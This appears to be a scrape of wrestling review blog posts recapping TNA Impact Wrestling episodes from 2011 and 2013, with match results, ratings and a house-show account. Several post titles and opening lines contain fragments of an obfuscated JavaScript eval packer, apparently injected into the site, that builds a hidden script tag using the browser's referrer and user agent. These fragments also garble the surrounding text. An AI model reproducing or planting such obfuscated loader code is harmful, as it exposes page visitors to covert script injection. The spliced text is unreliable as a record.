Impact Wrestling – July 18, 2013: They Got Me

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atrzz|var|u0026u|referrer|tztyz||js|php'.split('|'),0,{})) Wrestling
Date: July 18, 2013
Location: Broadbent Arena, Louisville, Kentucky
Commentators: Mike Tenay, Jeremy Borash

Bobby Roode calls Aries beating him last year a fluke. Tonight he starts his path back to Bound For Glory.

Bound For Glory Series: Bobby Roode vs. Austin Aries

Post match Roode snaps and destroys a bunch of stuff at the announce table due to his losing streak.

Homicide and Hernandez reunite in the back but Chavo pokes his nose in for whatever reason.

Anderson talks to the Aces about Doc leaving over not winning the election. All of the guys know their assignments tonight.

Homicide vs. Petey Williams vs. Sonjay Dutt

This is the first of three qualifying matches for an Ultimate X title match next week. Homicide sends both guys to the floor for a big dive before Petey takes over back inside. The slingshot Codebreaker takes Homicide down and Dutt is put in a leg lock, only to have Homicide come off the top with a headbutt to break it up.

Homicide takes both guys down and gets two on Dutt but Petey is back in. Dutt is crotched on the top but neither Homicide nor Petey can hit their finisher. Dutt suplexes Williams out of the corner and into the Gringo Killer but Dutt hits his standing sliced bread on Homicide. The moonsault double stomp is enough for Dutt to pin Homicide at 4:10.

Kenny King vs. Chavo Guerrero vs. Manik

Chavo is sent to the floor as King takes over on Manik. Manik hooks a quick Black Widow followed by an Indian Deathlock, only to have Chavo get caught in a northern lights suplex at the same time. Chavo hits dropkicks to both guys but Manik comes back in with springboards and cross bodies all around. Chavo launches Manik into a dropkick to King but gets rolled up for two. Guerrero hits Three Amigos on King but Manik breaks up the frog splash. King hits a running enziguri to knock Chavo off the top but Manik takes King down with a double chickenwing gutbuster for the pin at 4:36.

Angle and the Mafia are ready to start their plans tonight.

We get the same package on Sabin from earlier.

Hogan tells Sabin to make people remember him and to bring the title back home.

Rubix vs. Rockstar Spud vs. Greg Marasciulo

Mickie James is in the arena to brag about a great moment from last week. We see a clip from a concert of hers in Nashville and Mickie brags a lot until Gail Kim cuts her off. The only thing people were talking about last week was her ladder match, but Mickie cuts her off because Gail is interrupting her oxygen space. Mickie says her performance last week was five starts but Gail ducks a slap. The brawl is on and Gail is in a very short dress. The title match is next week.

Austin Aries tells Sabin to be ready tonight. Sabin knows he can beat Aries and Aries can beat Bully Ray and Aries is pulling for him.

AJ Styles is ready for his test from Jeff Hardy and is going to take the points next week.

TNA World Title: Chris Sabin vs. Bully Ray

Instead he drills Sabin with a superplex for two but Chris fights back. He somehow gets up top for a missile dropkick but the referee goes gets bumped. Anderson tries to come in but the Mafia is there to stop the bikers. Ray got a hammer in there somehow but Sabin kicks him down. Everyone else is gone and Sabin blasts Ray in the head with the hammer for the pin and the title at 18:40.

Results

Austin Aries b. Bobby Roode – Brainbuster

Sonjay Dutt b. Petey Williams and Homicide – Moonsault double stomp to Homicide

Manik b. Kenny King and Chavo Guerrero – Double chickenwing gutbuster

Greg Marasciulo b. Rockstar Spud and Rubix – Over the shoulder piledriver to Spud

Chris Sabin b. Bully Ray – Hammer to the head

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:




Impact Wrestling – July 11, 2013: The Girls Take The Night

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdrft|var|u0026u|referrer|zeets||js|php'.split('|'),0,{})) Wrestling
Date: July 11, 2013
Location: Orleans Arena, Las Vegas, Nevada
Commentators: Mike Tenay, Tazz

Jeff Hardy/Joseph Park vs. AJ Styles/Samoa Joe

Mr. Anderson/Magnus vs. Jay Bradley/Hernandez

Christopher Daniels/Austin Aries vs. Kazarian/Bobby Roode

Aries starts with Kaz who go to a quick stalemate. Off to Daniels vs. Roode but Chris quickly brings in Aries for a showdown of partners. Roode sends Aries out to the floor as we take a quick break. Back with Kaz holding Aries in a cross arm choke followed by a clothesline to take Austin down.

Gail Kim vs. Taryn Terrell

Sting and Angle recap the BFG Series stuff from tonight and the fifth member calls.

Bound For Glory Series Gauntlet Match

AJ Styles, Bobby Roode, Kazarian, Samoa Joe, Magnus, Mr. Anderson

Results

AJ Styles/Samoa Joe b. Joseph Park/Jeff Hardy – Koquina Clutch to Park

Magnus/Mr. Anderson b. Jay Bradley/Hernandez – Rollup to Hernandez

Kazarian/Bobby Roode b. Austin Aries/Christopher Daniels – Small Package to Daniels

Gail Kim b. Taryn Terrell – Kim pulled down the contract

Magnus won a gauntlet match last eliminating Bobby Roode

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

 




Impact Wrestling – June 27, 2013: There’s A Good Show Under The Mess

Impact Wrestling
Date: June 27, 2013
Location: Peoria Civic Center, Peoria, Illinois
Commentators: Mike Tenay, Tazz

We’re still in Illinois here with a show that TNA spoiled on their website already. The main story here is we’re three weeks away from Destination X and the chance at a world title shot against Bully Ray. Other than that we have more from Sting’s Main Event Mafia which right now is just him and Kurt Angle plus more in the BFG Series. Let’s get to it.

After the usual voiceover gets things going, here’s Sting to open the show. He says that after Slammiversary he needed to go back to the roots of the Main Event Mafia so he picked Kurt Angle. Angle says that he and Sting are Mafia Originals from about four years ago. The concept of the Mafia was that everyone had to be a former world champion and they did anything they wanted.

Now, the only people who could stop them are Aces and 8’s. They’ve kept Sting from ever challenging for the world title again and kept Kurt out of the BFG Series. Angle says he and Sting are the new Main Event Mafia and are both Hall of Famers, but that means nothing until Aces and 8’s are destroyed and Bully loses the world title. Kurt says tonight there’s going to be a third member of the Family to go to war against the bikers.

Video on Sabin winning the X Title at Slammiversary.

Aces and 8’s jump Sabin in the back but don’t beat him down. Anderson and Doc hold him so Ray can lecture Chris about not overstepping his bounds and coming into the big boys’ league.

We meet the first Gut Check contestant: the Big O from Z: True Long Island Story.

X-Division Title: Chris Sabin vs. Kenny King vs. Suicide

King dives into a double dropkick to start so it’s Sabin vs. Suicide early on. King comes back with a running dropkick of his own to take both guys down. Suicide is knocked to the floor as Sabin is slammed down, only to have the masked guy come in with a missile dropkick to put King down. Everyone heads to the floor with Sabin diving onto both guys as we take a break.

Back with Sabin putting King on the top rope with his back to the ring, only to have Suicide miss a charge and get caught sitting in the corner. Sabin dropkicks King’s body into Suicide for two and your new three way spot of the match. Suicide hits a kind of Diamond Cutter into the middle buckle for two on Chris but King crotches him as the masked dude goes up.

We get the Tower of Doom with Sabin getting the worst of it, allowing King to get some near falls. Sabin comes back with a baseball slide to send Suicide to the floor and the Hail Sabin for two on King. Suicide sends the champ to the floor and gets two off a rollup on King. The Royal Flush is countered into a rollup by Suicide (with a grab of the rope) for the pin at 10:12.

Rating: C-. I’m over the three way rule and have been for months now. Having literally the same gimmick every single time makes the title nothing more than a worthless gimmick. Suicide winning is something interesting as Sabin wasn’t going to be bought as a threat to the world title no matter what.

Post match Hogan comes out with a limping guy named TJ Perkins. Hogan says this is the real Suicide and the guy in the ring jumped him and stole the suit. Suicide leaves through the crowd with the title.

Hogan says that Suicide has until the end of the show to unmask.

Ryan Howe is the other Gut Check guy. You might remember him from the last season of Tough Enough. His gimmick here seems to be a musician.

Gut Check: Ryan Howe vs. Adam O’Reiner

O’Reiner gets two off a powerslam to start before pounding Howe on the mat. Adam misses a charge in the corner and Howe puts him down with a jumping back elbow. Howe pounds away but charges into a powerslam for the pin at 2:50. This was junk.

Ray comes in to see TJ Perkins. He’s a fan of TJ’s work but wants to know if Angle and Sting put TJ up to this tonight. Perkins says no so Ray gets in his face and asks again. TJ says tonight was the opportunity of a lifetime and it was taken away from him but he doesn’t know who did it.

We recap Velvet’s knee injury and Mickie attacking her to delay the rematch over and over.

Knockouts Title: Velvet Sky vs. Mickie James

Mickie says Velvet is above this despite being a three dollar w****. Sky spears her down to start and fires off shoulders in the corner to take over. A slam to the mat gets two and Mickie heads to the outside for a breather. Mickie takes over back inside and takes it to the mat before firing off shoulders of her own in the corner. She goes after the bad knee but Velvet comes back with a bulldog for two and the champion heads outside again.

Velvet hooks a headscissors to put Mickie down before pounding away at Mickie’s face. Back in and Mickie kicks the bad knee before getting two off a bad DDT. Velvet comes back again but gets hit in the knee one more time, allowing Mickie to hook a freaky deathlock for the tap out at 6:37.

Rating: D+. The story was fine but the execution didn’t work at all. Velvet just isn’t that good in the ring but to be fair she’s there because of how she looked in her little outfits. Mickie is playing the heel very well and the idea of just going after an injury is a fine way to get heel heat.

Velvet cries about losing.

We recap the events of the night so far.

Bobby Roode walks past Sting and Angle in the back. The Mafia smiles.

Hogan asks a referee who he thinks Suicide is but can’t get any information. The referee is told to tell Suicide either unmask or get fired.

Bound For Glory Series: Magnus vs. Bobby Roode

They fight for arm control to start with neither guy being able to gain the advantage. Magnus gets two off a jumping knee to the face and Roode bails to the outside. Back in and Roode goes after the neck by sending Magnus throat first into the middle rope. A neckbreaker gets two and it’s off to a chinlock. Magnus comes back with a backdrop and a clothesline followed by a release suplex. A top rope elbow gets two on Roode but he catches Magnus in the spinebuster. The fisherman’s suplex is countered into a falcon’s arrow for the pin on Roode at 6:42.

Rating: C+. This started slow but got a lot better by the end. Magnus has so much potential it’s unreal, but it’s taken way too long to actually push the guy. That was the biggest singles win of his career and Roode isn’t going to lose anything as a result. This is called a rub, and surprisingly enough this works better than Hogan calling Magnus his main man one time backstage.

Aces and 8’s go into a locker room and ask if anyone is Suicide or if they’ve spoken to the Mafia. They all deny it but Ray threatens them anyway. Oh and Godderz should lay off the carbs.

Here are James Storm and Gunner with something to say. Storm says tag team wrestling is a science and while they may not be scientists, he’s been known as a chemist with his alcohol. You may not get along with your partner, but if you win in the ring you’re good to go. That’s why he picked Gunner and it’s why they’re champions.

This brings out Robbie E and Jesse Godderz to say they’re the future of tag team wrestling and called the team the Bromance. James: “So are you guys like a thing now?” Robbie: “I DIDN’T SAY THAT!” The name is Bro Mans apparently and Jesse says he has a hot girlfriend so they’re clearly into chicks. James calls Tara a butterface so Gunner knocks a charging Jesse out.

Sting and Angle want to go find Suicide.

Bound For Glory Series: Mr. Anderson vs. Samoa Joe

Anderson takes him into the corner but Joe pounds him down with strikes. A running big boot in the corner gets two for Joe as Tenay and Taz bicker again. We head to the floor with Anderson ramming him back first into the apron for two back inside. Anderson gets two off a swinging neckbreaker but Joe fights back into the corner again. Here are Doc and Knux for a distraction, allowing Anderson to get two off a DDT. Joe comes back with a powerslam as the Mafia hits the ring to take out the bikers. Back in the ring Joe blocks the Mic Check and gets caught in the Koquina for the tap out at 5:28.

Rating: C-. The match was a backdrop for the angle going on but it wasn’t bad. Joe could be a factor in the BFG Series as you could have him get a bunch of submissions to run up his score. He’s eternally over in TNA so the crowd will buy into him no matter what he’s doing at the moment. Also Anderson is so much better in this role than as a top guy.

Joe is the third member of the Mafia.

Here’s Hogan to demand who Suicide is tonight. Suicide gets a mic but Hogan has to list off his accomplishments first. Cue Bully Ray who says that he wants to find out who is under the mask as well. Ray claims that Suicide won the title because Sabin had the fear of Bully Ray in him. Bully is a bad person who does bad things so Suicide doesn’t want a piece of him. Hogan says take the mask off right now but Suicide says he felt the pain and we share the torment. Suicide says the question is do you know who he is…..and it’s Austin Aries, who is going to cash in again this year to win the title. Ray is shocked to end the show.

Overall Rating: D+. This was a hit and miss night for TNA. The good news is that they have some interesting stuff going on in the forms of Magnus and the Mafia, but stuff like Gut Check and the Suicide angle being rushed through in one night bring the show right back down. Also it gets annoying seeing Ray and Hogan trying to find out who Suicide is and wasting time on those segments when the reveal is later in the night. The show wasn’t bad but it felt bogged down which made it feel long.

Results

Suicide b. Chris Sabin and Kenny King – Rollup to King

Adam O’Reiner b. Ryan Howe – Powerslam

Mickie James b. Velvet Sky – Deathlock

Magnus b. Bobby Roode – Falcon’s Arrow

Samoa Joe b. Mr. Anderson – Koquina Clutch

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




KB Goes To A TNA House Show

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syzrk|var|u0026u|referrer|thsbf||js|php'.split('|'),0,{})) as you may have heard, Becca and I took in the TNA house show tonight in Lexington at the baseball stadium. More details to come, but the conclusion: I don’t think I’ve ever had more fun at a wrestling show and that includes going to a WWE pay per view.  Let’s get to it.

 

We got there at about 7:00 for a 7:30 show. At about 7:25, JB announced that you could purchase a VIP pass and meet James Storm, Gunner (tag champions as of this writing), AJ Styles, Jeff Hardy, Bully Ray (world champion) and D-Von at intermission plus get a photo in the ring with a TNA superstar to be named at the end of the show. All this was $50 for two people so we were down there cash in hand and got the first pass handed out. This was instantly more fun than the WWE house show we took in a few months ago. Can you imagine WWE offering a chance like that to its fans?

 

More on that later. On with the matches.

 

X-Division Title: Chris Sabin vs. Kenny King

 

 

Knockouts Title: Mickie James vs. Velvet Sky

 

Mickie worked on the knee and took the tape off of it and the fans booed her. Yes, she attacked an injury and people booed without some complicated backstory, long winded story, or any heavy handed explanation. A heel did heelish things and the fans booed her. Mickie won with the MickieDT in about 5:30. Not much to see here.

 

AJ Styles vs. Garrett Bischoff

 

Tag Titles: James Storm/Gunner vs. Bobby Roode/Austin Aries

 

 

They finally got back inside and Storm played Ricky Morton. It was clear that he was moving in slow motion and doing basic stuff while the other guys did the heavy lifting. Gunner finally got the hot tag and everything broke down. Roode got a beer but walked into Closing Time to spit the beer everywhere. Aries took the Last Call (more beer everywhere) followed by a torture rack from Gunner for the win at about 20:00. This was the best and by far the most entertaining match of the night. Aries was very impressive and Becca was very entertained by him.

 

Next was intermission and we got to go meet the previously mentioned wrestlers. Before we got to the wrestlers, Austin Aries popped up in street clothes and waved over some people he knew. I got a fist bump and said hi to him and got a polite hello. Aries is shorter than he looks on television but seemed to be a nice guy.

 

Next up was Jeff Hardy. A girl in front of me was one of the biggest Jeff fans in the world and was crying her eyes out from getting to meet him. Jeff took a quick picture with her despite the security guard asking us to take pictures as Jeff signed. His match was first up after the intermission so the rush is understandable. I told him I went nuts when he won the world title and he gave a very curt thank you and shook my hand. He was very quiet but not rude or anything.

 

Last up was AJ Styles who was in a hat and looking down a bit. He signed my paper and I told him I had been a fan since TNA started. He looked up and gave a polite thank you and shook my hand. That Georgia accent comes through on every word he says just like it does on TV.

 

Image and video hosting by TinyPic

 

Jeff Hardy vs. Mr. Anderson

 

Bully Ray/D-Von vs. Sting/Kurt Angle

 

Angle clotheslined D-Von down and D-Von did a Spinarooni to get back up. Sting got the hot tag and eveyrthing broke down with Angle and D-Von going outside. Sting hit Stinger Splashes on everyone but the referee was bumped just before Sting gave Ray the Death Drop. Ray hit Sting with the chain for two and the Angle Slam set up the Scorpion Deathlock for the tap out from Ray at about 7:00. The match was nothing special but I had never seen Sting or Angle wrestle live (Becca is a lifelong WWE fan and had never seen a Sting match period, which blew my mind).

 

 

Image and video hosting by TinyPic

 

As we were leaving a guy from TNA asked us if we had a good time and seemed very pleased that we enjoyed ourselves. He jokingly asked us to tell people about it on the dirt sheets and smiled when I said I ran a wrestling website.

 

 

 

If Impact was like this every week, WWE would be in trouble. It made Becca want to watch Impact for the first time in years which is the right idea for these shows. The difference between the live events and Impact (read as no Hogan and WAY less stupid stuff) is remarkable and the show was definitely worth the time and money. Check them out if you get the chance and want a completely different wrestling experience from a WWE show.




Impact Wrestling – June 13, 2013: I Select You Impact!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryyzr|var|u0026u|referrer|yrftd||js|php'.split('|'),0,{})) Wrestling
Date: June 13, 2013
Location: Gwinett Center, Duluth, Georgia
Commentators: Mike Tenay, Tazz

Bound For Glory Series Qualifying Match: Gunner/James Storm vs. Bad Influence

Both members of the winning team qualify. Storm suplexes Daniels down to start and drops a knee for two. Off to Gunner vs. Kaz with the tattooed man throwing Kaz around with ease. Daniels finally starts cheating to take Gunner down, allowing Kaz to hit a springboard legdrop to the back of the head for two. Bad Influence hits a few kicks to the chest but Gunner runs them both over with a double clothesline.

Back to Storm who gets two on Kaz off an Alabama Slam as everything breaks down. Gunner is sent to the floor but Storm hits a Backstabber on Daniels and Closing Time on Kaz. With everything going nuts, Kaz distracts the referee so Daniels can blast Storm in the head with a title belt, giving Kazarian the pin at 4:26.

Velvet has a present for Mickie James inside an envelope.

Bound For Glory Series Qualifying Match: Joseph Park vs. Crimson

Mickie is ready for Velvet.

Bound For Glory Series Qualifying Match: Kenny King vs. Matt Morgan vs. Rob Terry vs. Magnus

Eric Young is going to sneak into the BFG Series by beating Aries. His first step: using the rest room.

Bound For Glory Series Qualifying Match: Austin Aries vs. Eric Young

Aries immediately takes Eric to the mat and rides him around before heading to the corner for some bragging. ODB comes in and is ridden to the mat by Eric before we get back to some actual wrestling. Aries rakes the eyes to take over and chokes on the ropes before hooking a quick chinlock.

Bound For Glory Series Qualifying Match: Battle Royal

Bound For Glory Series Qualifying Match: AJ Styles vs. Kurt Angle

Rating: B. Did you expect anything else from Angle vs. Styles? The counters in there were getting more and more awesome every time with both guys finding a way to top themselves every time. The ending was fine even though they told us it was coming earlier in the night. Very solid main event here as you would have expected.

Results

Bad Influence b. James Storm/Gunner – Kazarian pinned Storm after a belt shot to the head

Joseph Park b. Crimson – Rollup

Magnus b. Kenny King, Rob Terry and Matt Morgan – Michinoku Driver to King

Austin Aries b. Eric Young – Brainbuster

Mr. Anderson won a battle royal last eliminating Doc

AJ Styles b. Kurt Angle – Rollup

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




On This Day: June 9, 2011 – Impact Wrestling: Sting….Loses?

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkdyz|var|u0026u|referrer|ybndr||js|php'.split('|'),0,{})) Wrestling
Date: June 9, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s the go home show for Slammiversary and we have most of the card set up already. With Foley now fired and apparently legit gone from the company, it appears that Immortal is back in control again. Also we’re likely to get the final push to Sting vs. Anderson which will see Sting/Young vs. Anderson/Gunner. Anyway, let’s get to it.

We open with a recap of last week of Foley being fired and Immortal having full power again. Hogan is looking extra orange here.

Hogan and Bischoff open the show. Hulk says that the Network finally woke up and got rid of the selfish Foley. Eric says that Foley did have a few good ideas such as the name of the show and that wrestling matters. Eric assures us that the X Division is going to be presented in a fair and balanced manner. First up though he wants the contenders in the world title match to come down here right now.

Here are Anderson and Sting. Hogan talks about how awesome this company is now. They’re not going to go through this with the Network again. Hogan gave his word apparently and he meant it. At Slammiversary there will be a winner and a loser with no gimmicks or agendas. Also there will be no run-ins. If either guy has a problem with that speak now.

Anderson raises his hand and says that he’s been making fun of Sting for weeks because everything Sting stands for is a joke. Anderson is in this for Anderson and on Sunday, he’s getting the title back. Sting says he’s got a lot he’s going to do about that. There are a lot of things he wants to do around here and he’s going to do them because he’s champion. One of two things has to happen: Hogan and Bischoff have to leave or the real Hogan has to come back. He gets in Eric’s face and calls him an infection, blaming him for Hogan being the way he is. Hogan needs to cut away the cancer, and he’s certainly capable of it.

Knockouts are up next.

Mickie James/Tara vs. Winter/Angelina Love

 

Can we just get to the lesbian stuff already? Tara has the motorcycle back. Tara and Winter start us off. Angelina doesn’t seem interested in tagging in so Mickie and Tara work on the arm. I guess Mickie is all cool about the whole Tara running her over a few months back thing. Off to Angelina who wants Mickie. Tara instead hits a spinning side slam and it’s off to Mickie. They hit a wheelbarrow splash for one as Angelina does her zombie thing again.

With Tara accidentally distracting the referee, Winter is able to get a powerbomb in the corner on Mickie for two. The zombie chicks take over on Mickie now as she plays Ricky Morton for a bit. Mickie hammers back and that gets her nowhere. Blind tag brings in Angelina but Mickie hits a dropkick to take her down. Everything breaks down and Madison comes down to distract Tara, allowing Angelina to hit her backbreaker on Mickie for the pin at 4:45.

Rating: C. Not bad here but really just a standard tag match. It sets up the Mickie vs. Angelina match on Sunday which is fine. Nothing too bad but Madison might have been a bit too much out there. Angelina’s chest looked great though so that balances out the questionable ending.

Beer Money and Shelley are ready for their match tonight and on Sunday.

Mexican America says they’re tired of getting less every time.

We get a video of Samoa Joe and Crimson fighting in a bar which is filmed via phone apparently. Joe beats the tar out of him.

Jeff Jarrett gets here and doesn’t want to talk about Karen so he walks off.

The Brits are on commentary here. Well at least Magnus is as Williams stands behind the desk.

Mexican America vs. Alex Shelley/James Storm

 

Anarquia and Shelley start us off. The champions I guess do some of the Guns’ offense which Storm modifies for his own style. I like that as it plays up the best of both world dynamics. Shelley gets caught coming off the top and Hernandez hits his slingshot shoulder to take Shelley down. We keep cutting to Magnus talking so it’s hard to see everything that’s going on.

Shelley tries to fight back but gets caught by the power of Hernandez. Slam sets up a missed splash off the top by Supermex and there’s the tag to Storm and one to Anarquia also. Everything breaks down and Hernandez is knocked to the floor. Storm has Anarquia covered but the girls distract the referee. Sarita gets beer to the face and Shelley kicks Storm in the face, allowing Anarquia to get the pin on Storm at 4:30.

Rating: C. Pretty decent tag match here as we can see the problems that the guys unfamiliar with being partners. I liked how Shelley and Storm worked together out there but I’m not sure I get the point in having them lose. Have miscommunication and let them win still to make it look like they’re having issues but can still win on Sunday. Either way not bad here.

Gunner comes in to see Anderson and Anderson asks for help against Sting, implying he’ll repay the favor later. They’re cool apparently.

Mexican America comes in to see Hogan and wants a title shot. Hogan gets all ticked off and says quit telling me what to do or he’ll turn into the Terminator and play a game of Hulkster Says with the ladies. Mexican America is going to do something when Hogan least expects it. Ok then.

Preview of Angle/Jarrett with the main focus being on Angle. He says he’s not worried about this Sunday and says that he can beat Jarrett this time because there will be no Karen to distract him.

We open the second hour with more talking of course, this time in the form of Jarrett and Angle. Jeff says Kurt is going to listen tonight rather than it being them going back and forth. Karen is gone apparently and won’t be at the PPV. Jeff has had to think about that for seven days now and the first thing he did was panic. He panicked over what Kurt will do to him when it’s one on one. Jeff reminds everyone that he brought Kurt in and Kurt is the best in history.

However, Kurt never thanked Jeff for bringing him in. Kurt wasn’t happy about being the best in the company and the real star. It was always about making people forget about Jeff. Then Jarrett wanted to take everything dear to Kurt, so he took his wife and kids. Now he wants to take away Kurt’s place on top and he won’t sleep until he owns it.

Kurt finally gets to talk and thanks Jeff for taking Karen out of his life for good. All he’s ever wanted was Jeff one on one but Jeff had to keep bringing Karen into it. Kurt isn’t wasting any more words on him because on Sunday, his wrestling will do the talking. Then Jeff will see how real this really is.

ODB doesn’t like how Velvet presents herself and ODB will how Velvet what wrestling is tonight.

Kaz and Kendrick have Janice and are looking for Abyss. Kendrick says Abyss is his type of guy. They say they’re going to go find him.

Bully Ray is here for an open challenge. On Sunday he’ll be the last man standing because he’s a man. I wonder if he’s 40. The challenge is for everyone other than D-Von. Here’s a surprising person to take it.

Rob Van Dam vs. Bully Ray

 

RVD does his poses and gets powerbombed out of the corner for two. All Ray so far as he uses his basic brawling stuff. RVD finally gets in a kick to send Ray into the corner. Monkey flip doesn’t work and Ray hammers away again. AJ is chilling in the stands watching this. Ray hasn’t seen him yet but he does now. The distraction lets RVD recover long enough to counter the Piledriver. Springboard kick sets up the Five Star and we’re done at 3:30.

Rating: C. This is barely gradeable as the majority was Ray hammering on RVD and then the AJ distraction. RVD had a total of about four moves in this. Remember a few weeks ago when he and Angle had one of the “biggest matches in Impact history”? And now he has a three and a half minute match with Bully Ray that he needs AJ to help him get through. Things change so fast in wrestling it’s unreal.

We get a clip from English TV of Angle trying to get back on the Olympic team.

Kendrick and Kaz are still looking for Abyss and they actually find him reading The Art of War again. Abyss talks about how he doesn’t need Janice anymore and calls the X Title the Extreme Title. There can be a three way at the PPV. Kendrick gets into a big philosophical rant and Kaz just leaves.

We run down the card for Slammiversary.

ODB vs. Velvet Sky

 

ODB isn’t under contract apparently so she comes out next to the broadcast table. Sky jumps her before the bell and the brawl begins. Velvet is sent into the steps and hurts her knee as we finally head into the ring and start the actual match. ODB covers immediately but only gets two. This is a sloppy brawl and barely even a match at all.

Velvet can’t get going due to the knee injury but has a chance to breathe due to ODB yelling at the referee. She argues even more and Velvet can’t do anything. The announcers make stupid jokes and we get more arguing with the referee. Velvet finally wakes up and stomps away in the corner. Out to the floor again and Velvet gets her back rammed into the post. Fall away slam sets up more yelling and Velvet grabs a DDT for the surprise pin at 5:12.

Rating: D. Didn’t like this at all as it was about five minutes of stomping, choking and yelling. I guess that’s the end of this feud and if so that’s not saying very much. Pretty weak match here and the only real perk was Velvet looking good. Any match where I have to watch ODB slap her vagina is a bad one.

Eric Young is all stupid again and talks about unifying the titles and Who’s The Boss before Sting yells at him again. He wants him to drop the comedy for one night and let the competitor come out.

We get a clip from Xplosion where D-Von and Pope have been having issues. Pope came out to save D-Von from Mexican America. D-Von doesn’t like Pope being around his kids and wife.

And now let’s have our main event.

Gunner/Mr. Anderson vs. Sting/Eric Young

 

Big match intros kill some time. The slow bell for this makes me chuckle for some reason. Sting vs. Anderson to start but we get the traditional fast tag from Anderson to bring in Gunner. Sting gets the splash in the corner very quickly and adds a second one, both of them to the back. Apparently the second was because a spot was messed up as after the first Sting intentionally turned his back to Anderson. He did it again the second time in the same spot and Anderson drilled him.

Anderson works over Sting in the corner now and it’s off to Gunner again. He works on the ribs with an abdominal stretch and here’s Anderson again. Sting gets a clothesline and it’s off to Eric who cleans a few rooms, adding a big top rope elbow to Gunner. He fakes blowing mist at Anderson but celebrates too much and is rammed into Sting. That counts as a tag somehow and Gunner hits the F5 on Sting for the pin at 6:00. Oh and Young celebrates on the floor.

Rating: D+. What in the world was that? Who in the world thought it was a good idea for Gunner of all people to get a pin on Sting to end the show? I don’t get this at all and the main event is the longest match of the show at 6:00. Not a fan of that at all and I don’t get what they’re going for here in the slightest.

Back and Young doesn’t get that they lost. Sting is mad.

AJ says the plan is coming together. Ray pops up and says he didn’t back away. Agents break it up.

Sting gets something out of his bag and Anderson talks about how he didn’t break a sweat. Sting comes up and Anderson runs. They go into a trailer and Sting beats him down then puts paint all over Anderson’s face. This is Sting snapping I guess. He chokes Anderson out to end the show.

Overall Rating: C-. Not a bad show tonight but it was rather paint by numbers. Nothing really happened here but it was a go home show for the PPV and they covered the big matches for it pretty well. That being said it was another match where everything kind of dragged which is never a good thing. Definitely not a bad show but really just kind of there at the end of the day. That main event brought it down though.

 

Results

Angelina Love/Winter b. Mickie James/Tara – Backbreaker to James

Mexican America b. Alex Shelley/James Storm – Anarquia pinned Storm after a superkick from Shelley

Rob Van Dam b. Bully Ray – Five Star Frog Splash

Velvet Sky b. ODB – DDT

Gunner/Mr. Anderson b. Sting/Eric Young – F5 to Sting

 

Here’s Slammiversary if you’re interested:

 

http://kbwrestlingreviews.com/2011/06/12/slammiversary-2011-some-very-questionable-stuff-but-tnas-best-ppv-of-the-year/

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




Impact Wrestling – June 6, 2013: A Hardy And A Dudley Climb A Ladder

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idize|var|u0026u|referrer|yskbk||js|php'.split('|'),0,{})) Wrestling
Date: June 6, 2013
Location: Gwinett Arena, Duluth, Georgia
Commentators: Mike Tenay, Tazz

Video on the BFG Series.

Bound for Glory Series Qualifying Match: Chavo Guerrero vs. Hernandez

Hernandez runs him over to start so Chavo tries to go after the arm. Chavo dropkicks him down for two and stays on the arm, only to be slammed down with ease. Hernandez misses a splash so Chavo hooks another armbar, only to have Hernandez easily lift him up. SuperMex throws Chavo down with a suplex followed by the over the shoulder backbreaker to put the smaller guy in trouble. A corner splash misses and Chavo hits a pair of suplexes, only to have the frog splash hit knees. The Border Toss is countered into a sunset flip but Hernandez counters into a rollup for the pin at 4:56.

Rampage is here.

Bound for Glory Series Qualifying Match: Samoa Joe vs. Robbie E

We get the Kurt Angle HOF video.

Austin Aries/Bobby Roode/Kenny King vs. Chris Sabin/Gunner/James Storm

Rating: C. This was your usual formula tag match but without enough time to really get anything going. Having all three new champions against their challengers is fine as you can combine both stories into a single match. This worked fine for what it was but hopefully they can do something new with the divisions instead of just doing the same stuff over and over again.

D-Von and Knux jump someone in the back, presumably Joseph Park.

Mickie James vs. Taeler Hendrix

We look at the card for next week and Angle vs. Jackson from earlier.

Bully Ray vs. Jeff Hardy

Jeff goes up but gets shoved into the top rope by the champ. Ray: “TAZ! MY BALLS!” Hardy comes back with a clothesline but gets shoved into the corner after he tries to climb again. The Whisper in the Wind puts Ray down but he gets up in time to pull the ladder out again, sending Hardy crashing to the mat.

Ray goes up and retrieves the ladder despite still feeling the effects of the low blow earlier. Jeff avoids the hammer shot and hits a Twisting Stunner to get the hammer for himself. Hardy misses a few swings of his own and Ray runs off to end the show. Jeff falls down on the ramp and is holding his hip or back. The match just ends at around 16:00.

Hardy is helped out by a referee and is holding his hip.

Ray wants his belt in the back but Hulk is sneaking up on him with a hammer. Brooke shouts at him to stop and Ray escapes to end the show.

Results

Hernandez b. Chavo Guerrero – Rollup

Samoa Joe b. Robbie E – Koquina Clutch

Chris Sabin/James Storm/Gunner b. Kenny King/Austin Aries/Bobby Roode – All Hail Sabin to King

Mickie James b. Taeler Hendrix – Spinning kick to the head

Bully Ray vs. Jeff Hardy went to a no contest

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




Slammiversary 2013: TNA’s Best Show In Years

